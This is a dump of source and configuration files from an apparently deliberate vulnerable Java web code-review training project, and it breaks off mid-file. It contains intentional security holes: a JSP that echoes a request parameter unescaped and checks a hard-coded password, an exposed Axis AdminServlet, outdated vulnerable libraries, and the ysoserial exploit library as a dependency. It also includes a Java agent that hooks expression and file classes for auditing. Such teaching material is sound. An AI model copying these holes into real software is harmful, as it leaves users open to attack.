/javaweb-codereview-axis/src/main/webapp/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 8 | Apache-Axis Servlet 9 | AxisServlet 10 | org.apache.axis.transport.http.AxisServlet 11 | 12 | 13 | 14 | Axis Admin Servlet 15 | AdminServlet 16 | org.apache.axis.transport.http.AdminServlet 17 | 100 18 | 19 | 20 | 21 | SOAPMonitorService 22 | SOAPMonitorService 23 | org.apache.axis.monitor.SOAPMonitorService 24 | 25 | SOAPMonitorPort 26 | 5101 27 | 28 | 100 29 | 30 | 31 | 32 | AxisServlet 33 | /servlet/AxisServlet 34 | 35 | 36 | 37 | AxisServlet 38 | *.jws 39 | 40 | 41 | 42 | AxisServlet 43 | /services/* 44 | 45 | 46 | 47 | SOAPMonitorService 48 | /SOAPMonitor 49 | 50 | 51 | 52 | AdminServlet 53 | /servlet/AdminServlet 54 | 55 | 56 | 57 | wsdl 58 | text/xml 59 | 60 | -------------------------------------------------------------------------------- /javaweb-codereview-spring/src/main/java/org/javaweb/codereview/entity/SysUser.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.entity; 2 | 3 | import com.alibaba.fastjson.annotation.JSONField; 4 | import org.hibernate.annotations.GenericGenerator; 5 | 6 | import javax.persistence.*; 7 | import java.io.Serializable; 8 | 9 | /** 10 | * @author sky 11 | */ 12 | @Entity 13 | @Table(name = "sys_user") 14 | public class SysUser implements Serializable { 15 | 16 | /** 17 | * 用户ID 18 | */ 19 | @Id 20 | @GenericGenerator(name = "jpa-uuid", strategy = "uuid") 21 | @GeneratedValue(generator = "jpa-uuid") 22 | @Column(name = "user_id", length = 32) 23 | @JSONField(name = "user_id") 24 | private String userId; 25 | 26 | /** 27 | * 用户名 28 | */ 29 | @JSONField(name = "username") 30 | @Column(name = "username", unique = true, nullable = false) 31 | private String username; 32 | 33 | /** 34 | * 用户密码 35 | */ 36 | @JSONField(name = "password") 37 | @Column(name = "password", nullable = false) 38 | private String password; 39 | 40 | /** 41 | * 用户昵称 42 | */ 43 | @JSONField(name = "nick") 44 | private String nick; 45 | 46 | /** 47 | * 真实姓名 48 | */ 49 | @JSONField(name = "real_name") 50 | private String realName; 51 | 52 | /** 53 | * 邮箱 54 | */ 55 | @JSONField(name = "email") 56 | private String email; 57 | 58 | public String getUserId() { 59 | return userId; 60 | } 61 | 62 | public void setUserId(String userId) { 63 | this.userId = userId; 64 | } 65 | 66 | public String getUsername() { 67 | return username; 68 | } 69 | 70 | public void setUsername(String username) { 71 | this.username = username; 72 | } 73 | 74 | public String getPassword() { 75 | return password; 76 | } 77 | 78 | public void setPassword(String password) { 79 | this.password = password; 80 | } 81 | 82 | public String getNick() { 83 | return nick; 84 | } 85 | 86 | public void setNick(String nick) { 87 | this.nick = nick; 88 | } 89 | 90 | public String getRealName() { 91 | return realName; 92 | } 93 | 94 | public void setRealName(String realName) { 95 | this.realName = realName; 96 | } 97 | 98 | public String getEmail() { 99 | return email; 100 | } 101 | 102 | public void setEmail(String email) { 103 | this.email = email; 104 | } 105 | 106 | } -------------------------------------------------------------------------------- /javaweb-codereview-spring/src/main/java/org/javaweb/codereview/config/FreemarkerTemplateConfig.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.config; 2 | 3 | import org.springframework.beans.factory.config.PropertiesFactoryBean; 4 | import org.springframework.context.annotation.Bean; 5 | import org.springframework.context.annotation.Configuration; 6 | import org.springframework.web.servlet.view.freemarker.FreeMarkerConfigurer; 7 | import org.springframework.web.servlet.view.freemarker.FreeMarkerViewResolver; 8 | 9 | import java.util.HashMap; 10 | import java.util.Map; 11 | import java.util.Properties; 12 | 13 | /** 14 | * Freemarker 模板初始化配置 15 | * Created by yz on 2017/4/4. 16 | */ 17 | @Configuration 18 | public class FreemarkerTemplateConfig { 19 | 20 | @Bean 21 | public PropertiesFactoryBean freemarkerConfiguration() { 22 | PropertiesFactoryBean factoryBean = new PropertiesFactoryBean(); 23 | Properties properties = new Properties(); 24 | 25 | factoryBean.setFileEncoding("UTF-8"); 26 | 27 | properties.setProperty("tag_syntax", "auto_detect"); 28 | properties.setProperty("template_update_delay", "2"); 29 | properties.setProperty("default_encoding", "UTF-8"); 30 | properties.setProperty("output_encoding", "UTF-8"); 31 | properties.setProperty("locale", "zh_CN"); 32 | properties.setProperty("date_format", "yyyy-MM-dd"); 33 | properties.setProperty("time_format", "HH:mm:ss"); 34 | properties.setProperty("datetime_format", "yyyy-MM-dd HH:mm:ss"); 35 | 36 | factoryBean.setProperties(properties); 37 | 38 | return factoryBean; 39 | } 40 | 41 | /** 42 | * Freemarker 自定义标签(变量)设置 43 | * 44 | * @return 45 | */ 46 | private Map getFreemarkerVariables() { 47 | Map freemarkerVariables = new HashMap(); 48 | 49 | return freemarkerVariables; 50 | } 51 | 52 | @Bean 53 | public FreeMarkerConfigurer freemarkerConfig() { 54 | FreeMarkerConfigurer freemarkerConfig = new FreeMarkerConfigurer(); 55 | 56 | freemarkerConfig.setTemplateLoaderPath("classpath:/templates/"); 57 | freemarkerConfig.setDefaultEncoding("UTF-8"); 58 | freemarkerConfig.setFreemarkerVariables(getFreemarkerVariables()); 59 | 60 | return freemarkerConfig; 61 | } 62 | 63 | @Bean 64 | public FreeMarkerViewResolver viewResolver() { 65 | FreeMarkerViewResolver resolver = new FreeMarkerViewResolver(); 66 | 67 | resolver.setViewNames("*.html"); 68 | resolver.setContentType("text/html;charset=UTF-8"); 69 | resolver.setExposeRequestAttributes(true); 70 | resolver.setExposeSessionAttributes(true); 71 | resolver.setExposeSpringMacroHelpers(true); 72 | resolver.setRequestContextAttribute("request"); 73 | resolver.setCache(true); 74 | 75 | return resolver; 76 | } 77 | 78 | } 79 | -------------------------------------------------------------------------------- /javaweb-codereview-test/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | javaweb-codereview 7 | org.javaweb 8 | 1.0.0 9 | 10 | 11 | 4.0.0 12 | javaweb-codereview-test 13 | war 14 | javaweb-test Maven Webapp 15 | 16 | 17 | UTF-8 18 | 1.7 19 | 1.7 20 | 21 | 22 | 23 | 24 | 25 | javax.servlet 26 | jstl 27 | 1.2 28 | 29 | 30 | 31 | javax.servlet 32 | javax.servlet-api 33 | 3.1.0 34 | provided 35 | 36 | 37 | 38 | javax.servlet.jsp 39 | jsp-api 40 | 2.2 41 | provided 42 | 43 | 44 | 45 | org.apache.tomcat 46 | tomcat-jasper 47 | 7.0.75 48 | provided 49 | 50 | 51 | 52 | commons-io 53 | commons-io 54 | 2.6 55 | 56 | 57 | 58 | commons-lang 59 | commons-lang 60 | 2.6 61 | 62 | 63 | 64 | commons-collections 65 | commons-collections 66 | 3.1 67 | 68 | 69 | 70 | mysql 71 | mysql-connector-java 72 | 5.1.45 73 | 74 | 75 | 76 | com.github.frohoff 77 | ysoserial 78 | 0.0.5 79 | 80 | 81 | 82 | 83 | 84 | 85 | aliyun 86 | aliyun 87 | http://maven.aliyun.com/nexus/content/groups/public/ 88 | 89 | 90 | 91 | mulesoft 92 | mulesoft 93 | https://repository.mulesoft.org/nexus/content/repositories/public/ 94 | 95 | 96 | 97 | 98 | -------------------------------------------------------------------------------- /javaweb-codereview-agent/src/main/java/org/javaweb/codereview/agent/DefaultTransform.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.agent; 2 | 3 | import org.javaweb.codereview.commons.CodeReviewMethodHookDesc; 4 | import org.javaweb.codereview.commons.CodeReviewMethodHookVisitor; 5 | import org.objectweb.asm.*; 6 | 7 | import java.lang.instrument.ClassFileTransformer; 8 | import java.lang.reflect.Constructor; 9 | import java.security.ProtectionDomain; 10 | import java.util.List; 11 | 12 | /** 13 | * @author yz 14 | */ 15 | public class DefaultTransform implements ClassFileTransformer { 16 | 17 | private List methodHookList; 18 | 19 | public DefaultTransform(List methodHookList) { 20 | this.methodHookList = methodHookList; 21 | } 22 | 23 | @Override 24 | public byte[] transform(ClassLoader loader, String name, Class classBeingRedefined, 25 | ProtectionDomain protectionDomain, byte[] classfileBuffer) { 26 | 27 | final String className = name.replace("/", "."); 28 | 29 | for (final CodeReviewMethodHookDesc hookDesc : methodHookList) { 30 | if (hookDesc.getHookClassName().equals(className)) { 31 | final ClassReader cr = new ClassReader(classfileBuffer); 32 | 33 | // 忽略接口类 34 | ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS); 35 | final int api = Opcodes.ASM5; 36 | 37 | try { 38 | ClassVisitor classVisitor = new ClassVisitor(api, cw) { 39 | 40 | @Override 41 | public void visit(int version, int access, String name, String signature, 42 | String superName, String[] interfaces) { 43 | 44 | super.visit(version, access, name, signature, superName, interfaces); 45 | } 46 | 47 | @Override 48 | public MethodVisitor visitMethod(final int access, final String methodName, 49 | final String argTypeDesc, final String signature, 50 | final String[] exceptions) { 51 | 52 | final MethodVisitor methodVisitor = super.visitMethod( 53 | access, methodName, argTypeDesc, signature, exceptions 54 | ); 55 | 56 | // 检查Hook方法名、方法描述符是否一致 57 | if (hookDesc.getHookMethodName().equals(methodName) 58 | && hookDesc.getHookMethodArgTypeDesc().equals(argTypeDesc)) { 59 | 60 | // 检查Hook处理类是否设置正确 61 | if (hookDesc.getMethodVisitorClass() != null) { 62 | Class hooClass = hookDesc.getMethodVisitorClass(); 63 | 64 | // 检测当前HookClass是否是CodeReviewMethodHookVisitor的子类 65 | if (CodeReviewMethodHookVisitor.class.isAssignableFrom(hooClass)) { 66 | try { 67 | Constructor hookConstructor = hooClass.getDeclaredConstructor( 68 | int.class, MethodVisitor.class, 69 | int.class, String.class, String.class 70 | ); 71 | 72 | return (MethodVisitor) hookConstructor.newInstance( 73 | api, methodVisitor, access, className, argTypeDesc 74 | ); 75 | } catch (Exception e) { 76 | e.printStackTrace(); 77 | } 78 | } 79 | } 80 | } 81 | 82 | return methodVisitor; 83 | } 84 | }; 85 | 86 | cr.accept(classVisitor, ClassReader.EXPAND_FRAMES); 87 | classfileBuffer = cw.toByteArray(); 88 | } catch (Throwable t) { 89 | t.printStackTrace(); 90 | } 91 | } 92 | } 93 | 94 | return classfileBuffer; 95 | } 96 | 97 | } 98 | -------------------------------------------------------------------------------- /javaweb-codereview-struts2/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4 | 5 | javaweb-codereview 6 | org.javaweb 7 | 1.0.0 8 | 9 | 10 | 4.0.0 11 | javaweb-codereview-struts2 12 | war 13 | javaweb-codereview-struts2 14 | http://maven.apache.org 15 | 16 | 17 | UTF-8 18 | 1.6 19 | 1.6 20 | 1.6 21 | 2.1.8 22 | 5.1.45 23 | 3.1 24 | 4.12 25 | 26 | 27 | 28 | 29 | 30 | junit 31 | junit 32 | ${junit} 33 | test 34 | 35 | 36 | 37 | javax.servlet 38 | javax.servlet-api 39 | 3.1.0 40 | provided 41 | 42 | 43 | 44 | javax.servlet.jsp 45 | jsp-api 46 | 2.2 47 | provided 48 | 49 | 50 | 51 | javax.el 52 | el-api 53 | 2.2 54 | provided 55 | 56 | 57 | 58 | javax.servlet 59 | jstl 60 | 1.2 61 | 62 | 63 | 64 | taglibs 65 | standard 66 | 1.1.2 67 | provided 68 | 69 | 70 | 71 | org.apache.struts 72 | struts2-core 73 | ${struts.version} 74 | 75 | 76 | 77 | org.apache.struts 78 | struts2-convention-plugin 79 | ${struts.version} 80 | 81 | 82 | 83 | commons-collections 84 | commons-collections 85 | ${commons-collections.version} 86 | 87 | 88 | 89 | mysql 90 | mysql-connector-java 91 | ${mysql.version} 92 | 93 | 94 | 95 | 96 | 97 | test-struts2 98 | 99 | 100 | -------------------------------------------------------------------------------- /javaweb-codereview-axis/src/main/java/org/javaweb/codereview/axis/client/FileService.wsdl: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | -------------------------------------------------------------------------------- /javaweb-codereview-agent/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 7 | javaweb-codereview 8 | org.javaweb 9 | 1.0.0 10 | 11 | 12 | 4.0.0 13 | javaweb-codereview-agent 14 | 15 | 16 | UTF-8 17 | 1.6 18 | 1.6 19 | 1.6 20 | 21 | 22 | 23 | 24 | 25 | org.ow2.asm 26 | asm-all 27 | 5.2 28 | 29 | 30 | 31 | commons-io 32 | commons-io 33 | 2.6 34 | 35 | 36 | 37 | 38 | 39 | javaweb-codereview-agent 40 | 41 | 42 | org.apache.maven.plugins 43 | maven-compiler-plugin 44 | 45 | 1.8 46 | 1.8 47 | 48 | 49 | 50 | org.apache.maven.plugins 51 | maven-jar-plugin 52 | 2.3.2 53 | 54 | 55 | src/main/resources/MANIFEST.MF 56 | 57 | 58 | 59 | 60 | org.apache.maven.plugins 61 | maven-shade-plugin 62 | 2.3 63 | 64 | 65 | package 66 | 67 | shade 68 | 69 | 70 | 71 | 72 | commons-io:commons-io:jar:* 73 | org.ow2.asm:asm-all:jar:* 74 | 75 | 76 | 77 | 78 | org.apache 79 | org.javaweb.codereview.deps.org.apache 80 | 81 | 82 | org.objectweb 83 | org.javaweb.codereview.deps.org.objectweb 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | -------------------------------------------------------------------------------- /javaweb-codereview-spring/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | javaweb-codereview 7 | org.javaweb 8 | 1.0.0 9 | 10 | 11 | 4.0.0 12 | org.javaweb.codereview 13 | javaweb-codereview-spring 14 | 1.0.0 15 | javaweb-codereview-spring 16 | Demo project for Spring Boot 17 | 18 | 19 | 1.8 20 | 2.1.1.RELEASE 21 | 22 | 23 | 24 | 25 | org.springframework.boot 26 | spring-boot-starter-web 27 | ${springboot.version} 28 | 29 | 30 | spring-boot-starter-tomcat 31 | org.springframework.boot 32 | 33 | 34 | 35 | 36 | 37 | org.springframework.boot 38 | spring-boot-starter-data-jpa 39 | ${springboot.version} 40 | 41 | 42 | 43 | org.springframework.boot 44 | spring-boot-starter-data-rest 45 | ${springboot.version} 46 | 47 | 48 | 49 | org.springframework.boot 50 | spring-boot-starter-freemarker 51 | ${springboot.version} 52 | 53 | 54 | 55 | org.springframework.boot 56 | spring-boot-starter-undertow 57 | ${springboot.version} 58 | 59 | 60 | 61 | mysql 62 | mysql-connector-java 63 | 5.1.47 64 | 65 | 66 | 67 | commons-lang 68 | commons-lang 69 | 2.6 70 | 71 | 72 | 73 | commons-io 74 | commons-io 75 | 2.6 76 | 77 | 78 | 79 | com.alibaba 80 | druid 81 | 1.1.12 82 | 83 | 84 | 85 | com.alibaba 86 | fastjson 87 | 1.2.54 88 | 89 | 90 | 91 | org.javaweb 92 | javaweb-utils 93 | 1.1.0 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | org.springframework.boot 102 | spring-boot-maven-plugin 103 | 104 | 105 | org.apache.maven.plugins 106 | maven-compiler-plugin 107 | 108 | 8 109 | 8 110 | 111 | 112 | 113 | 114 | 115 | -------------------------------------------------------------------------------- /javaweb-codereview-test/src/main/java/org/apache/jsp/index_jsp.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Generated by the Jasper component of Apache Tomcat 3 | * Version: Apache Tomcat/7.0.75 4 | * Generated at: 2018-12-26 14:16:32 UTC 5 | * Note: The last modified time of this file was set to 6 | * the last modified time of the source file after 7 | * generation to assist with modification tracking. 8 | */ 9 | package org.apache.jsp; 10 | 11 | import javax.servlet.ServletException; 12 | 13 | public final class index_jsp extends org.apache.jasper.runtime.HttpJspBase 14 | implements org.apache.jasper.runtime.JspSourceDependent { 15 | 16 | 17 | private static final javax.servlet.jsp.JspFactory _jspxFactory = 18 | javax.servlet.jsp.JspFactory.getDefaultFactory(); 19 | 20 | private static java.util.Map _jspx_dependants; 21 | 22 | private volatile javax.el.ExpressionFactory _el_expressionfactory; 23 | 24 | private volatile org.apache.tomcat.InstanceManager _jsp_instancemanager; 25 | 26 | public java.util.Map getDependants() { 27 | return _jspx_dependants; 28 | } 29 | 30 | public javax.el.ExpressionFactory _jsp_getExpressionFactory() { 31 | if (_el_expressionfactory == null) { 32 | synchronized (this) { 33 | if (_el_expressionfactory == null) { 34 | _el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory(); 35 | } 36 | } 37 | } 38 | return _el_expressionfactory; 39 | } 40 | 41 | public org.apache.tomcat.InstanceManager _jsp_getInstanceManager() { 42 | if (_jsp_instancemanager == null) { 43 | synchronized (this) { 44 | if (_jsp_instancemanager == null) { 45 | _jsp_instancemanager = org.apache.jasper.runtime.InstanceManagerFactory.getInstanceManager(getServletConfig()); 46 | } 47 | } 48 | } 49 | return _jsp_instancemanager; 50 | } 51 | 52 | public void _jspInit() { 53 | } 54 | 55 | public void _jspDestroy() { 56 | } 57 | 58 | boolean login(String password) { 59 | return "023".equals(password); 60 | } 61 | 62 | public void _jspService(final javax.servlet.http.HttpServletRequest 63 | request, final javax.servlet.http.HttpServletResponse response) 64 | throws java.io.IOException, javax.servlet.ServletException { 65 | 66 | final javax.servlet.jsp.PageContext pageContext; 67 | javax.servlet.http.HttpSession session = null; 68 | final javax.servlet.ServletContext application; 69 | final javax.servlet.ServletConfig config; 70 | javax.servlet.jsp.JspWriter out = null; 71 | final java.lang.Object page = this; 72 | javax.servlet.jsp.JspWriter _jspx_out = null; 73 | javax.servlet.jsp.PageContext _jspx_page_context = null; 74 | 75 | 76 | try { 77 | response.setContentType("text/html"); 78 | pageContext = _jspxFactory.getPageContext(this, request, response, 79 | null, true, 8192, true); 80 | _jspx_page_context = pageContext; 81 | application = pageContext.getServletContext(); 82 | config = pageContext.getServletConfig(); 83 | session = pageContext.getSession(); 84 | out = pageContext.getOut(); 85 | _jspx_out = out; 86 | 87 | out.print("Hello World."); 88 | out.write("\n"); 89 | out.write("
\n"); 90 | out.print(request.getParameter("password")); 91 | out.write("\n"); 92 | out.write("
\n"); 93 | out.write('\n'); 94 | out.write('\n'); 95 | 96 | String password = request.getParameter("password"); 97 | 98 | out.println(password); 99 | 100 | if (login(password)) { 101 | out.println("Hello"); 102 | } else { 103 | out.println("World~"); 104 | } 105 | 106 | out.write('\n'); 107 | } catch (java.lang.Throwable t) { 108 | if (!(t instanceof javax.servlet.jsp.SkipPageException)) { 109 | out = _jspx_out; 110 | if (out != null && out.getBufferSize() != 0) 111 | try { 112 | if (response.isCommitted()) { 113 | out.flush(); 114 | } else { 115 | out.clearBuffer(); 116 | } 117 | } catch (java.io.IOException e) { 118 | } 119 | if (_jspx_page_context != null) _jspx_page_context.handlePageException(t); 120 | else throw new ServletException(t); 121 | } 122 | } finally { 123 | _jspxFactory.releasePageContext(_jspx_page_context); 124 | } 125 | } 126 | } 127 | -------------------------------------------------------------------------------- /javaweb-codereview-axis/src/main/webapp/WEB-INF/server-config.wsdd: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | http://xml.apache.org/axis/wsdd/ 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /javaweb-codereview-agent/src/main/java/org/javaweb/codereview/agent/CodeReviewAgent.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright yz 2018-01-20 Email:admin@javaweb.org. 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package org.javaweb.codereview.agent; 17 | 18 | import org.javaweb.codereview.commons.CodeReviewAsm; 19 | import org.javaweb.codereview.commons.CodeReviewMethodHookDesc; 20 | import org.javaweb.codereview.hook.ExpressionHook; 21 | import org.javaweb.codereview.hook.FileInputStreamHook; 22 | import org.javaweb.codereview.hook.FileOutputStreamHook; 23 | import org.objectweb.asm.Opcodes; 24 | 25 | import java.lang.instrument.Instrumentation; 26 | import java.util.*; 27 | import java.util.logging.Logger; 28 | 29 | public class CodeReviewAgent implements Opcodes { 30 | 31 | private static Set retransformClasses = new HashSet(); 32 | 33 | private static List methodHookList = Collections.synchronizedList(new ArrayList()); 34 | 35 | private static final Logger LOG = Logger.getLogger("info"); 36 | 37 | static { 38 | // MVEL2 Hook 39 | methodHookList.add( 40 | new CodeReviewMethodHookDesc( 41 | CodeReviewAsm.MVEL_INTERPRETED_RUNTIME_CLASS, "parse", 42 | "()Ljava/lang/Object;", ExpressionHook.class 43 | ) 44 | ); 45 | 46 | // OGNL Hook 47 | methodHookList.add( 48 | new CodeReviewMethodHookDesc( 49 | CodeReviewAsm.OGNL_CLASS, "parseExpression", 50 | "(Ljava/lang/String;)Ljava/lang/Object;", 51 | ExpressionHook.class 52 | ) 53 | 54 | ); 55 | 56 | // SpEL Hook 57 | methodHookList.add( 58 | new CodeReviewMethodHookDesc( 59 | CodeReviewAsm.SPEL_EXPRESSION_CLASS, "", 60 | "(Ljava/lang/String;Lorg/springframework/expression/spel/ast/SpelNodeImpl;" + 61 | "Lorg/springframework/expression/spel/SpelParserConfiguration;)V", 62 | ExpressionHook.class 63 | ) 64 | ); 65 | 66 | // FileInputStream Hook 67 | methodHookList.add( 68 | new CodeReviewMethodHookDesc( 69 | CodeReviewAsm.FILE_INPUTSTREAM_CLASS, "", "(Ljava/io/File;)V", 70 | FileInputStreamHook.class 71 | ) 72 | ); 73 | 74 | // FileOutputStream Hook 75 | methodHookList.add( 76 | new CodeReviewMethodHookDesc( 77 | CodeReviewAsm.FILE_OUTPUTSTREAM_CLASS, "", "(Ljava/io/File;Z)V", 78 | FileOutputStreamHook.class 79 | ) 80 | ); 81 | 82 | // 初始化需要被retransform的类列表 83 | retransformClasses.add(CodeReviewAsm.FILE_INPUTSTREAM_CLASS);// FileInputStream 84 | retransformClasses.add(CodeReviewAsm.FILE_OUTPUTSTREAM_CLASS);// FileOutputStream 85 | retransformClasses.add(CodeReviewAsm.FILE_CHANNEL_IMPL_CLASS);// FileChannelImpl 86 | retransformClasses.add(CodeReviewAsm.PROCESS_BUILDER_CLASS);// ProcessBuilder 87 | retransformClasses.add(CodeReviewAsm.UNIX_PROCESS_CLASS);// UNIXProcess 88 | retransformClasses.add(CodeReviewAsm.PROCESS_IMPL_CLASS);// ProcessImpl 89 | retransformClasses.add(CodeReviewAsm.RANDOM_ACCESS_FILE_CLASS);// RandomAccessFile 90 | } 91 | 92 | public static void premain(String args, final Instrumentation inst) { 93 | inst.addTransformer(new DefaultTransform(methodHookList), true); 94 | 95 | // 设置retransformClasses 96 | setRetransformClasses(inst); 97 | } 98 | 99 | /** 100 | * 设置需要retransformClasses的类 101 | * 102 | * @param inst 103 | */ 104 | private static void setRetransformClasses(Instrumentation inst) { 105 | List classList = new ArrayList(); 106 | Class[] loadedClasses = inst.getAllLoadedClasses(); 107 | 108 | for (Class loadedClass : loadedClasses) { 109 | String className = loadedClass.getName(); 110 | 111 | // 检查类是否需要被retransformClasses且支持retransformClasses修改 112 | if (inst.isModifiableClass(loadedClass) && retransformClasses.contains(className)) { 113 | classList.add(loadedClass); 114 | } 115 | } 116 | 117 | if (classList.size() > 0) { 118 | Class[] classes = classList.toArray(new Class[classList.size()]); 119 | 120 | try { 121 | inst.retransformClasses(classes); 122 | } catch (Exception e) { 123 | LOG.info("LingXe 设置点retransformClasses异常:" + e); 124 | } 125 | } 126 | } 127 | 128 | } -------------------------------------------------------------------------------- /javaweb-codereview-axis/src/main/java/org/javaweb/codereview/axis/client/FileServiceServiceLocator.java: -------------------------------------------------------------------------------- 1 | /** 2 | * FileServiceServiceLocator.java 3 | *

4 | * This file was auto-generated from WSDL 5 | * by the Apache Axis 1.4 Apr 22, 2006 (06:55:48 PDT) WSDL2Java emitter. 6 | */ 7 | 8 | package org.javaweb.codereview.axis.client; 9 | 10 | public class FileServiceServiceLocator extends org.apache.axis.client.Service implements org.javaweb.codereview.axis.client.FileServiceService { 11 | 12 | public FileServiceServiceLocator() { 13 | } 14 | 15 | 16 | public FileServiceServiceLocator(org.apache.axis.EngineConfiguration config) { 17 | super(config); 18 | } 19 | 20 | public FileServiceServiceLocator(java.lang.String wsdlLoc, javax.xml.namespace.QName sName) throws javax.xml.rpc.ServiceException { 21 | super(wsdlLoc, sName); 22 | } 23 | 24 | // Use to get a proxy class for FileService 25 | private java.lang.String FileService_address = "http://localhost:8080/services/FileService"; 26 | 27 | public java.lang.String getFileServiceAddress() { 28 | return FileService_address; 29 | } 30 | 31 | // The WSDD service name defaults to the port name. 32 | private java.lang.String FileServiceWSDDServiceName = "FileService"; 33 | 34 | public java.lang.String getFileServiceWSDDServiceName() { 35 | return FileServiceWSDDServiceName; 36 | } 37 | 38 | public void setFileServiceWSDDServiceName(java.lang.String name) { 39 | FileServiceWSDDServiceName = name; 40 | } 41 | 42 | public org.javaweb.codereview.axis.client.FileService_PortType getFileService() throws javax.xml.rpc.ServiceException { 43 | java.net.URL endpoint; 44 | try { 45 | endpoint = new java.net.URL(FileService_address); 46 | } catch (java.net.MalformedURLException e) { 47 | throw new javax.xml.rpc.ServiceException(e); 48 | } 49 | return getFileService(endpoint); 50 | } 51 | 52 | public org.javaweb.codereview.axis.client.FileService_PortType getFileService(java.net.URL portAddress) throws javax.xml.rpc.ServiceException { 53 | try { 54 | org.javaweb.codereview.axis.client.FileServiceSoapBindingStub _stub = new org.javaweb.codereview.axis.client.FileServiceSoapBindingStub(portAddress, this); 55 | _stub.setPortName(getFileServiceWSDDServiceName()); 56 | return _stub; 57 | } catch (org.apache.axis.AxisFault e) { 58 | return null; 59 | } 60 | } 61 | 62 | public void setFileServiceEndpointAddress(java.lang.String address) { 63 | FileService_address = address; 64 | } 65 | 66 | /** 67 | * For the given interface, get the stub implementation. 68 | * If this service has no port for the given interface, 69 | * then ServiceException is thrown. 70 | */ 71 | public java.rmi.Remote getPort(Class serviceEndpointInterface) throws javax.xml.rpc.ServiceException { 72 | try { 73 | if (org.javaweb.codereview.axis.client.FileService_PortType.class.isAssignableFrom(serviceEndpointInterface)) { 74 | org.javaweb.codereview.axis.client.FileServiceSoapBindingStub _stub = new org.javaweb.codereview.axis.client.FileServiceSoapBindingStub(new java.net.URL(FileService_address), this); 75 | _stub.setPortName(getFileServiceWSDDServiceName()); 76 | return _stub; 77 | } 78 | } catch (java.lang.Throwable t) { 79 | throw new javax.xml.rpc.ServiceException(t); 80 | } 81 | throw new javax.xml.rpc.ServiceException("There is no stub implementation for the interface: " + (serviceEndpointInterface == null ? "null" : serviceEndpointInterface.getName())); 82 | } 83 | 84 | /** 85 | * For the given interface, get the stub implementation. 86 | * If this service has no port for the given interface, 87 | * then ServiceException is thrown. 88 | */ 89 | public java.rmi.Remote getPort(javax.xml.namespace.QName portName, Class serviceEndpointInterface) throws javax.xml.rpc.ServiceException { 90 | if (portName == null) { 91 | return getPort(serviceEndpointInterface); 92 | } 93 | java.lang.String inputPortName = portName.getLocalPart(); 94 | if ("FileService".equals(inputPortName)) { 95 | return getFileService(); 96 | } else { 97 | java.rmi.Remote _stub = getPort(serviceEndpointInterface); 98 | ((org.apache.axis.client.Stub) _stub).setPortName(portName); 99 | return _stub; 100 | } 101 | } 102 | 103 | public javax.xml.namespace.QName getServiceName() { 104 | return new javax.xml.namespace.QName("http://localhost:8080/services/FileService", "FileServiceService"); 105 | } 106 | 107 | private java.util.HashSet ports = null; 108 | 109 | public java.util.Iterator getPorts() { 110 | if (ports == null) { 111 | ports = new java.util.HashSet(); 112 | ports.add(new javax.xml.namespace.QName("http://localhost:8080/services/FileService", "FileService")); 113 | } 114 | return ports.iterator(); 115 | } 116 | 117 | /** 118 | * Set the endpoint address for the specified port name. 119 | */ 120 | public void setEndpointAddress(java.lang.String portName, java.lang.String address) throws javax.xml.rpc.ServiceException { 121 | 122 | if ("FileService".equals(portName)) { 123 | setFileServiceEndpointAddress(address); 124 | } else { // Unknown Port Name 125 | throw new javax.xml.rpc.ServiceException(" Cannot set Endpoint Address for Unknown Port" + portName); 126 | } 127 | } 128 | 129 | /** 130 | * Set the endpoint address for the specified port name. 131 | */ 132 | public void setEndpointAddress(javax.xml.namespace.QName portName, java.lang.String address) throws javax.xml.rpc.ServiceException { 133 | setEndpointAddress(portName.getLocalPart(), 